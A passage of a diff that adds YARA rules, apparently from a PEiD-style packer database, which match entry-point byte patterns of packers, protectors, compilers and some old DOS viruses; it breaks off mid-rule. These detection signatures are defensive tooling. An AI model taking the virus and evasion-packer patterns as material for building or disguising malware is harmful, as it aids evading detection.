+		description = "SLR (OPTLINK)"
+	strings:
+		$0 = {BF ?? ?? 8E DF FA 8E D7 81 C4 ?? ?? FB B4 30 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v14__CGSoftLabs_h_
+{
+	meta:
+		description = "eXPressor v1.4 -> CGSoftLabs (h)"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 34 2E 2E B8}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v4000053__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo v4.00.0053 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 20 8B 4B 00 68 80 E4 48 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4B 00 33 D2 8A D4 89 15 A4 A1 4B 00 8B C8 81 E1 FF 00 00 00 89 0D A0 A1 4B 00 C1 E1 08 03 CA 89 0D 9C A1 4B 00 C1 E8 10 A3 98 A1 4B 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C 30 4B 00 A3 A4 B7 4B 00 E8 01 12 00 00 A3 F8 A1 4B 00 E8 AA 0F 00 00 E8 EC 0E 00 00 E8 2D FA FF FF 89}
+	condition:
+		$0
+}
+rule _EPack_14_lite_final__by_6aHguT_
+{
+	meta:
+		description = "!EPack 1.4 lite (final) - by 6aHguT"
+	strings:
+		$0 = {33 C0 8B C0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PEPaCK_10__C_Copyright_1998_by_ANAKiN_h_
+{
+	meta:
+		description = "PE-PaCK 1.0 -> (C) Copyright 1998 by ANAKiN (h)"
+	strings:
+		$0 = {C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 2D 3D FE 20 50 45 2D 50 41 43 4B 20 76 31 2E 30 20 2D FE 2D 20 28 43 29 20 43 6F 70}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_Gleam_100__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Gleam 1.00] -> Anorganix"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF E9}
+	condition:
+		$0 at entrypoint
+}
+rule _WinZip_32bit_SFX_v6x_module_
+{
+	meta:
+		description = "WinZip 32-bit SFX v6.x module"
+	strings:
+		$0 = {FF 15 ?? ?? ?? 00 B1 22 38 08 74 02 B1 20 40 80 38 00 74 10 38 08 74 06 40 80 38 00 75 F6 80 38 00 74 01 40 33 C9 ?? ?? ?? ?? FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_22__c199899_Ian_Luck_
+{
+	meta:
+		description = "Petite 2.2 -> (c)1998-99 Ian Luck"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 68 00 00 ?? ?? 8B 3C 24 8B 30 66 81 C7 80 07 8D 74 06 08 89 38 8B 5E 10 50 56 6A 02 68 80 08 00 00 57 6A ?? 6A 06 56 6A 04 68 80 08 00 00 57 FF D3 83 EE 08 59 F3 A5 59 66}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Kuku886_
+{
+	meta:
+		description = "Vx: Kuku.886"
+	strings:
+		$0 = {06 1E 50 8C C8 8E D8 BA 70 03 B8 24 25 CD 21 ?? ?? ?? ?? ?? 90 B4 2F CD 21 53}
+	condition:
+		$0 at entrypoint
+}
+rule _ROD_High_TECH__Ayman_
+{
+	meta:
+		description = "ROD High TECH -> Ayman"
+	strings:
+		$0 = {60 8B 15 1D 13 40 00 F7 E0 8D 82 83 19 00 00 E8 58 0C 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v155_
+{
+	meta:
+		description = "PECompact v1.55"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A2 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 ?? 80 40 ?? 90 90 01 85 9E 80 40 ?? BB 2D 12}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v100_
+{
+	meta:
+		description = "PECompact v1.00"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB C4 84 40 ?? 87 DD 8B 85 49 85}
+	condition:
+		$0 at entrypoint
+}
+rule _CICompress_10_
+{
+	meta:
+		description = "CICompress 1.0"
+	strings:
+		$0 = {6A 04 68 00 10 00 00 FF 35 9C 14 40 00 6A 00 FF 15 38 10 40 00 A3 FC 10 40 00 97 BE 00 20 40 00 E8 71 00 00 00 3B 05 9C 14 40 00 75 61 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 68 94 10 40 00 FF 15 2C 10 40 00 A3 F8 10 40 00 6A 00 68 F4 10 40 00 FF 35}
+	condition:
+		$0
+}
+rule _Armadillo_v260_
+{
+	meta:
+		description = "Armadillo v2.60"
+	strings:
+		$0 = {55 8B EC 6A FF 68 D0 ?? ?? ?? 68 34 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 68 ?? ?? ?? 33 D2 8A D4 89 15 84}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_VirusConstructorbased_
+{
+	meta:
+		description = "Vx: VirusConstructor.based"
+	strings:
+		$0 = {BB ?? ?? B9 ?? ?? 2E ?? ?? ?? ?? 43 43 ?? ?? 8B EC CC 8B ?? ?? 81 ?? ?? ?? 06 1E B8 ?? ?? CD 21 3D ?? ?? ?? ?? 8C D8 48 8E D8}
+		$1 = {E8 ?? ?? 5D 81 ?? ?? ?? 06 1E E8 ?? ?? E8 ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? ?? B4 4A BB FF FF CD 21 83 ?? ?? B4 4A CD 21}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EPExE_Pack_V14_lite_b2__6aHguT__gluk_
+{
+	meta:
+		description = "!EP(ExE Pack) V1.4 lite b2 -> 6aHguT & g-l-u-k"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45}
+	condition:
+		$0 at entrypoint
+}
+rule _Patch_Creation_Wizard_12_Memory_Patch_
+{
+	meta:
+		description = "Patch Creation Wizard 1.2 Memory Patch"
+	strings:
+		$0 = {6A 00 E8 9B 02 00 00 A3 7A 33 40 00 6A 00 68 8E 10 40 00 6A 00 6A 01 50 E8 B5 02 00 00 68 5A 31 40 00 68 12 31 40 00 6A 00 6A 00 6A 04 6A 01 6A 00 6A 00 68 A2 30 40 00 6A 00 E8 51 02 00 00 85 C0 74 31 FF 35 62 31 40 00 6A 00 6A 30 E8 62 02 00 00 E8 0B 01}
+	condition:
+		$0
+}
+rule _Armadillo_v420__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo v4.20 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 F8 8E 4C 00 68 F0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 84 A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 80 A5 4C 00 C1 E1 08 03 CA 89 0D 7C A5 4C 00 C1 E8 10 A3 78 A5 4C 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C 30 4C 00 A3 84 BB 4C 00 E8 01 12 00 00 A3 D8 A5 4C 00 E8 AA 0F 00 00 E8 EC 0E 00 00 E8 2D FA FF FF 89}
+	condition:
+		$0
+}
+rule _EXECryptor_V21X__softcompletecom_
+{
+	meta:
+		description = "EXECryptor V2.1X -> softcomplete.com"
+	strings:
+		$0 = {83 C6 14 8B 55 FC E9 ?? FF FF FF}
+	condition:
+		$0
+}
+rule _Microsoft_Visual_Cpp_V80_
+{
+	meta:
+		description = "Microsoft Visual C++ V8.0"
+	strings:
+		$0 = {6A 14 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BB 94 00 00 00 53 6A 00 8B ?? ?? ?? ?? ?? FF D7 50 FF ?? ?? ?? ?? ?? 8B F0 85 F6 75 0A 6A 12 E8 ?? ?? ?? ?? 59 EB 18 89 1E 56 FF ?? ?? ?? ?? ?? 56 85 C0 75 14 50 FF D7 50 FF ?? ?? ?? ?? ?? B8}
+	condition:
+		$0 at entrypoint
+}
+rule _Enigma_Protector_1X__Sukhov_Vladimir__Serge_N_Markin_
+{
+	meta:
+		description = "Enigma Protector 1.X -> Sukhov Vladimir & Serge N. Markin"
+	strings:
+		$0 = {00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4C 6F 61}
+		$1 = {00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 00 00 52 65 67 43 6C 6F 73 65 4B 65 79 00 00 00 53 79 73 46 72 65 65 53 74 72 69 6E 67 00 00 00 43 72 65 61 74 65 46 6F 6E 74 41 00 00 00 53 68 65 6C 6C 45 78 65 63 75 74 65 41 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _WWPack32_v100_v111_v112_v120_
+{
+	meta:
+		description = "WWPack32 v1.00, v1.11, v1.12, v1.20"
+	strings:
+		$0 = {53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32}
+	condition:
+		$0 at entrypoint
+}
+rule _A3E_TXT2COM_
+{
+	meta:
+		description = "A3E (TXT2COM)"
+	strings:
+		$0 = {1E 33 C0 50 BE ?? ?? 81 C6 ?? ?? B8 ?? ?? 8E C0 BF ?? ?? B9 ?? ?? F3 A5 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _NME_11_Public__by_redlime_
+{
+	meta:
+		description = "NME 1.1 Public - by redlime"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 B8 30 35 14 13 E8 9A E6 FF FF 33 C0 55 68 6C 36 14 13 64 FF 30 64 89 20 B8 08 5C 14 13 BA 84 36 14 13 E8 7D E2 FF FF E8 C0 EA FF FF 8B 15 CC 45 14 13 A1 C8 45 14 13 E8 04 F8 FF FF 8B 15 D0 45 14 13 A1 C8 45 14 13 E8 F4 F7 FF FF 8B}
+		$1 = {55 8B EC 83 C4 F0 53 56 B8 30 35 14 13 E8 9A E6 FF FF 33 C0 55 68 6C 36 14 13 64 FF 30 64 89 20 B8 08 5C 14 13 BA 84 36 14 13 E8 7D E2 FF FF E8 C0 EA FF FF 8B 15 CC 45 14 13 A1 C8 45 14 13 E8 04 F8 FF FF 8B 15 D0 45 14 13 A1 C8 45 14 13 E8 F4 F7 FF FF 8B 15 CC 45 14 13 A1 C8 45 14 13 E8 2C F9 FF FF A3 F8 5A 14 13 8B 15 D0 45 14 13 A1 C8 45 14 13 E8 17 F9 FF FF A3 FC 5A 14 13 B8 04 5C 14 13 E8 20 FB FF FF 8B D8 85 DB 74 48 B8 00 5B 14 13 8B 15 C4 45 14 13 E8 1E E7 FF FF A1 04 5C 14 13 E8 A8 DA FF FF ?? ?? ?? ?? 5C 14 13 50 8B CE 8B D3 B8 00 5B 14 13 ?? ?? ?? ?? FF 8B C6 E8 DF FB FF FF 8B C6 E8 9C DA FF FF B8 00 5B 14 13 E8 72 E7 FF FF 33 C0 5A 59 59 64 89 10 68 73 36 14 13 C3 E9 0F DF FF FF EB F8 5E 5B E8 7E E0 FF FF 00 00 FF FF FF FF 0C 00 00 00 4E 4D 45 20 31 2E 31 20 53 74 75 62}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PureBasic_4x_DLL__Neil_Hodgson_
+{
+	meta:
+		description = "PureBasic 4.x DLL -> Neil Hodgson"
+	strings:
+		$0 = {83 7C 24 08 01 75 0E 8B 44 24 04 A3 ?? ?? ?? 10 E8 22 00 00 00 83 7C 24 08 02 75 00 83 7C 24 08 00 75 05 E8 ?? 00 00 00 83 7C 24 08 03 75 00 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 ?? 0F 00 00 A3}
+	condition:
+		$0 at entrypoint
+}
+rule _EPack_V14_lite_final__6aHguT_
+{
+	meta:
+		description = "!EPack V1.4 lite final -> 6aHguT"
+	strings:
+		$0 = {33 C0 8B C0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? 00 00 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v140__v145_
+{
+	meta:
+		description = "PECompact v1.40 - v1.45"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB C3 11}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v180_
+{
+	meta:
+		description = "Armadillo v1.80"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E8 C1 00 00 68 F4 86 00 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _BJFnt_v12_RC_
+{
+	meta:
+		description = ".BJFnt v1.2 RC"
+	strings:
+		$0 = {EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_16d_by_Vaska_UsAr_sign_21032007_2222_
+{
+	meta:
+		description = "RCryptor 1.6d by Vaska (UsAr sign 21.03.2007 22:22)"
+	strings:
+		$0 = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 40 A1 14 13 B8 00 10 14 13 90 3D 24 C0 14 13 74 06 80 30 F6 40 EB F3 B8 8C 20 18 13 90 3D B9 27 18 13 74 06 80 30 89 40 EB F3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V036__Dwing_
+{
+	meta:
+		description = "Upack V0.36 -> Dwing"
+	strings:
+		$0 = {0B 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 18 10 00 00 10 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 00 02 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+		$1 = {BE ?? ?? ?? ?? FF 36 E9 C3 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_V2X__Bitsum_Technologies_
+{
+	meta:
+		description = "PECompact V2.X -> Bitsum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43}
+	condition:
+		$0 at entrypoint
+}
+rule _MASM32_
+{
+	meta:
+		description = "MASM32"
+	strings:
+		$0 = {6A ?? 68 00 30 40 00 68 ?? 30 40 00 6A 00 E8 07 00 00 00 6A 00 E8 06 00 00 00 FF 25 08 20}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Cpp_60_Debug_Version_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual C++ 6.0 (Debug Version)]"
+	strings:
+		$0 = {55 8B EC 51 90 90 90 01 01 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_MEW_11_SE_10_
+{
+	meta:
+		description = "PseudoSigner 0.2 [MEW 11 SE 1.0]"
+	strings:
+		$0 = {E9 09 00 00 00 00 00 00 02 00 00 00 0C 90}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_V1451__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor V1.4.5.1 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D}
+		$1 = {55 8B EC 83 EC ?? 53 56 57 83 65 ?? 00 F3 EB 0C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NET_executable__Microsoft_
+{
+	meta:
+		description = ".NET executable -> Microsoft"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 5F 43 6F 72 45 78 65 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C 00 00 00 00 00 FF 25}
+	condition:
+		$0
+}
+rule _MSLRH_032a_fake_PE_Crypt_102__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake PE Crypt 1.02) -> emadicius"
+	strings:
+		$0 = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7 05 50 E8 08 00 00 00 EA FF 58 EB 18 EB 01 0F EB 02 CD 20 EB 03 EA CD 20 58 58 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB}
+	condition:
+		$0
+}
+rule _MinGW_32x_Dll_WinMain_
+{
+	meta:
+		description = "MinGW 3.2.x (Dll_WinMain)"
+	strings:
+		$0 = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 76 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00}
+	condition:
+		$0
+}
+rule _CrypWrap_vxx_
+{
+	meta:
+		description = "CrypWrap vx.x"
+	strings:
+		$0 = {E8 B8 ?? ?? ?? E8 90 02 ?? ?? 83 F8 ?? 75 07 6A ?? E8 ?? ?? ?? ?? FF 15 49 8F 40 ?? A9 ?? ?? ?? 80 74 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _Pelles_C_300_400_450_EXE_X86_CRTLIB_
+{
+	meta:
+		description = "Pelles C 3.00, 4.00, 4.50 EXE (X86 CRT-LIB)"
+	strings:
+		$0 = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57 89 65 E8 68 00 00 00 02 E8 ?? ?? ?? ?? 59 A3}
+	condition:
+		$0
+}
+rule _nSPack_2x3x_NET_North_StarLiu_Xing_Ping_
+{
+	meta:
+		description = "nSPack 2.x/3.x .NET-> North Star/Liu Xing Ping"
+	strings:
+		$0 = {FF 25 A4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_120_Eng__dulekxt__MASM32__TASM32_
+{
+	meta:
+		description = "FSG 1.20 (Eng) -> dulek/xt -> (MASM32 / TASM32)"
+	strings:
+		$0 = {33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 16 03 F7 EB 02 40 B0 68 F4 00 00 00 80 F1 2C 5B C1 E9 05 0F B6 C9 8A 16 0F B6 C9 0F BF C7 2A D3 E8 02 00 00 00 99 4C 58 80 EA 53 C1 C9 16 2A D3 E8 02 00 00 00 9D CE}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_PESHiELD_025__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PESHiELD 0.25] -> Anorganix"
+	strings:
+		$0 = {60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC E9}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Delphi__Microsoft_Visual_Cpp_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)"
+	strings:
+		$0 = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 00 00 EB 02 CD 20 5E 0F B6 D0 80 CA 5C 8B 38 EB 01 35 EB 02 DC 97 81 EF F7 65 17 43 E8 02 00 00 00 97 CB 5B 81 C7 B2 8B A1 0C 8B D1 83 EF 17 EB 02 0C 65 83 EF 43 13 D6 83 C7 32 F7 DA 03 FE EB 02 CD 20 87 FA 88 10 EB 02 CD 20 40 E8 02 00 00 00 F1 F8 5B 4E 2B D2 85 F6 75 AF EB 02 DE 09 EB 01 EF 34 4A 7C BC 7D 3D 7F 90 C1 82 41 ?? ?? ?? 87 DB 71 94 8B 8C 8D 90 61 05 96 1C A9 DA A7 68 5A 4A 19 CD 76 40 50 A0 9E B4 C5 15 9B D7 6E A5 BB CC 1C C2 DE 6C AC C2 D3 23 D2 65 B5 F5 65 C6 B6 CC DD CC 7B 2F B6 33 FE 6A AC 9E AB 07 C5 C6 C7 F3 94 3F DB B4 05 CE CF D0 BC FA 7F A5 BD 4A 18 EB A2 C5 F7 6D 25 9F BF E8 8D CA 05 E4 E5 E6 24 E8 66 EA EB 5F F7 6E EB F5 64 F8 76 EC 74 6D F9}
+		$1 = {C1 C8 10 EB 01 0F BF 03 74 66 77 C1 E9 1D 68 83 ?? ?? 77 EB 02 CD 20 5E EB 02 CD 20 2B F7}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MESS_v120_
+{
+	meta:
+		description = "MESS v1.20"
+	strings:
+		$0 = {FA B9 ?? ?? F3 ?? ?? E3 ?? EB ?? EB ?? B6}
+	condition:
+		$0 at entrypoint
+}
+rule _Crunch_5_Fusion_4_
+{
+	meta:
+		description = "Crunch 5 Fusion 4"
+	strings:
+		$0 = {EB 15 03 ?? ?? ?? 06 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 55 E8}
+	condition:
+		$0
+}
+rule _MASMTASM__sig2h_
+{
+	meta:
+		description = "MASM/TASM - sig2(h)"
+	strings:
+		$0 = {C2 ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00}
+	condition:
+		$0
+}
+rule _Alex_Protector_v04_beta_1_by_Alex_
+{
+	meta:
+		description = "Alex Protector v0.4 beta 1 by Alex"
+	strings:
+		$0 = {60 E8 01 00 00 00 C7 83 C4 04 33 C9 E8 01 00 00 00 68 83 C4 04 E8 01 00 00 00 68 83 C4 04 B9 ?? 00 00 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 01 00 00 00 C7 83 C4 04 8B 2C 24 83 C4 04 E8 01 00 00 00 A9 83 C4 04 81 ED 3C 13 40 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 00 00 00 00 49 E8 01 00 00 00 68 83 C4 04 85 C9 75 DF E8 B9 02 00 00 E8 01 00 00 00 C7 83 C4 04 8D 95 63 14 40 00 E8 01 00 00 00 C7 83 C4 04 90 90 90 E8 CA 01 00 00 01 02 03 04 05 68 90 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrinker_v32_
+{
+	meta:
+		description = "Shrinker v3.2"
+	strings:
+		$0 = {83 3D ?? ?? ?? ?? ?? 55 8B EC 56 57 75 65 68 00 01 ?? ?? E8 ?? E6 FF FF 83 C4 04 8B 75 08 A3 ?? ?? ?? ?? 85 F6 74 1D 68 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _GameGuard_v20065xx_dll_
+{
+	meta:
+		description = "GameGuard v2006.5.x.x (*.dll)"
+	strings:
+		$0 = {31 FF 74 06 61 E9 4A 4D 50 30 BA 4C 00 00 00 80 7C 24 08 01 0F 85 ?? 01 00 00 60 BE 00}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_V145x__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor V1.4.5.x -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 83 65 ?? 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 ?? ?? ?? 00 A1 ?? ?? ?? 00 B9 ?? ?? ?? 00 2B 48 18 89 0D ?? ?? ?? 00 83 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _dUP_v2x_Patcher__wwwdiablo2oo2cjbnet_
+{
+	meta:
+		description = "dUP v2.x Patcher --> www.diablo2oo2.cjb.net"
+	strings:
+		$0 = {54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F}
+	condition:
+		$0
+}
+rule _yzpack_V20__UsAr__Sign_by_fly_
+{
+	meta:
+		description = "yzpack V2.0 -> UsAr ! Sign by fly"
+	strings:
+		$0 = {25 ?? ?? ?? ?? 61 87 CC 55 45 45 55 81 ED CA 00 00 00 55 A4 B3 02 FF 14 24 73 F8 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 1F B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3C AA EB DC FF 54 24 04 2B CB 75 0F FF 54 24 08 EB 27 AC D1 E8 74 30 13 C9 EB 1B 91 48 C1 E0 08 AC FF 54 24 08 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 99 BD ?? ?? ?? ?? FF 65 28}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE32Pack_v136_
+{
+	meta:
+		description = "EXE32Pack v1.36"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED CC 8D 40}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressorProtection_150X__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor.Protection 1.5.0.X -> CGSoftLabs"
+	strings:
